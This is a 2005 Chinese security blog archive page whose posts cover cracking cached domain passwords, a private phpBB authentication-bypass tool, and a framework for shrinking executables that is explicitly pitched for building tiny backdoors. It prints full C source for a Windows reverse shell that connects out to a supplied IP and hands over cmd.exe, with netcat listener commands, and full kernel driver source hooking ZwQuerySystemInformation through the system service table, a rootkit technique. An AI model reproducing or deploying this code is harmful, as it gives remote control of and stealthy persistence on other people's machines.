文章 - 257,收藏 - , 评论 - 554, trackbacks - 20

2005年03月



    摘要:Cracking Cached Domain/Active Directory Passwords on Windows XP/2000/2003     (全文共13554字)——点击此处阅读全文




    摘要:http://msdn.microsoft.com/library/default.asp?url=/library/en-us/devnotes/winprog/ioctl_tcp_query_information_ex.asp    (全文共16199字)——点击此处阅读全文




    摘要:安全稳定的实现进线程监控    (全文共53634字)——点击此处阅读全文



在PHPBB<=2.12的版本中都有一个绕过验证的漏洞,能够直接以管理员帐号登陆,
自己做了个程序验证了一下,用的真是太爽了,基本上是符合条件的都能拿下.
这个漏洞的严重性很高啊.做出来的东东没敢发布出来,一放出来又是天下大乱,呵呵.
没怎么做界面:



在文本框里面填入phpbb的地址,点击GO按键,程序最终会绕过验证,然后打开一个IE进程进入PHPBB的后台管理页面...



花一个周未时间写了个TinyFrame
Made By ZwelL

一.    说明
      TinyFrame是一个能生成最小程序的工程框架, 它是基于VS.NET环境的工程向导.用在一些小型的程序中, 能将程序大小减到最小. 我们知道, 在VC.NET环境中生成一个命令行工程, 即使是最简单的Hello World程序最终生成的可执行文件也非常大. 像下面这个例子:
#include <stdio.h>

int main()
{
    printf("Hello world!");
    return 0;
}

      我们可以看到, Debug程序最终生成大小为104 K, 而Release版本生成的大小也有36 K, 这与我们想像的相差太大. 如果我们做一个命令行的后门程序或者一些小工具, 预想的大小就几K大小,但是最终生成的大小却大出很多,这显然是不能接受的. 而现在大多数大家用的命令行工具都非常小,一个后门也就几K大小.大家想不想做出自己的微型后门呢? 当然你可以参考我在安焦论坛上面的一篇关于减小程序大小的文章,不过每都那样设置实在是很麻烦.这里,我给大家提供的这个程序就能达到这个目的,只通过向 导就能生成最小化程序框架.

二.    实例说明
大家再来看一下下面的这个程序,:
#include <winsock2.h>
#pragma comment(lib,"ws2_32")

int main(int argc, char **argv)
{
    WSADATA wsaData;
    SOCKET hSocket;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    struct sockaddr_in adik_sin;

    memset(&adik_sin,0,sizeof(adik_sin));
    memset(&si,0,sizeof(si));
    WSAStartup(MAKEWORD(2,0),&wsaData);
    hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
    adik_sin.sin_family=AF_INET;
    adik_sin.sin_port=htons(atoi(argv[2]));
    adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
    if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)))
        return -1;
    si.cb=sizeof(si);
    si.dwFlags=STARTF_USESTDHANDLES;
    si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
    CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
    return 0;
}
它的功能很简单,就是反向连接.
先用NC监听端口:
Nc.exe –lp 5555
再以命令行执行该程序:
Sameple.exe 127.0.0.1 5555
最终获取一个CmdShell

我们先用Release版本生成, 最终生成大小23 K. 我们再用TinyFrame生成一次, 最终大小: 1.50 KB, 很诱人了对不对. 呵呵, 下面就说一说安装及使用过程.

三.    安装
我用winrar制做成了一个自释放包, 大家在释放过程中,将释放路径设置在VC所安装的目录,比方说我安装的目录是: C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7

..........
..........
..........

具体使用说明请看附件中的帮助文档...


附近内容:
TingFrame.pdf              说明文档
TinyFrame_vc7.exe      安装文件,安装说明请看说明文档

附件 TingFrame.rar

---



// BASIC DEVICE DRIVER

#include "ntddk.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase; //Used only in checked build
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;


// function prototype
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);

// typedef so we can make a working call thru the saved pointer
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
            PVOID SystemInformation,
            ULONG SystemInformationLength,
            PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION     OldZwQuerySystemInformation;

/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ )
  {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
    {
      gProcessNameOffset = i;
    }
  }
}

/* Copy the process name into the specified buffer.  */

ULONG GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  ULONG           i;
  KIRQL           oldirql;

  if( gProcessNameOffset )
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    }
  return FALSE;
}

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength
)
{
        NTSTATUS rc;

        CHAR aProcessName[PROCNAMELEN];        
        GetProcessName( aProcessName );
        DbgPrint("BHWIN: NewZwQuerySystemInformation() from %s\n", aProcessName);


        rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                        SystemInformationClass,
                        SystemInformation,
                        SystemInformationLength,
                        ReturnLength );

        DbgPrint(" real ZwQuerySystemInfo returned %d", rc);

        return rc;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("BHWIN: OnUnload called\n");

    // put back the old function pointer
    InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),
                         (LONG) OldZwQuerySystemInformation);

}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    DbgPrint("BHWin is al1v3!");

    GetProcessNameOffset();

    theDriverObject->DriverUnload  = OnUnload;

    // place the hook using InterlockedExchange (no need to disable interrupts)
    // this uses the LOCK instruction to lock the memory bus during the next instruction
    // Example:
    // LOCK INC DWORD PTR [EDX+04]
    // This staves off collisions on multi-processor machines, while cli/sti only disable interrupts
    // on the current processor.
    //
    OldZwQuerySystemInformation =
        (ZWQUERYSYSTEMINFORMATION) InterlockedExchange(        (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),
                                                            (LONG) NewZwQuerySystemInformation);

    return STATUS_SUCCESS;
}





    摘要:关于Windows内核空间操作的一些说明    (全文共61868字)——点击此处阅读全文




    摘要:http://www.codeguru.com/Cpp/W-P/system/devicedriverdevelopment/article.php/c8223/    (全文共27249字)——点击此处阅读全文




    摘要:http://www.codeguru.com/Cpp/W-P/system/devicedriverdevelopment/article.php/c8035/    (全文共20731字)——点击此处阅读全文




    摘要:在Windows 2003中HOOK ZwCreateProcessEx    (全文共117098字)——点击此处阅读全文




很好看的说,前几天培训的时间无聊,就看完了。有意思。。。

里面很多惹事不知道是不是真的啊。不过都写的合情合理。顶一下。。。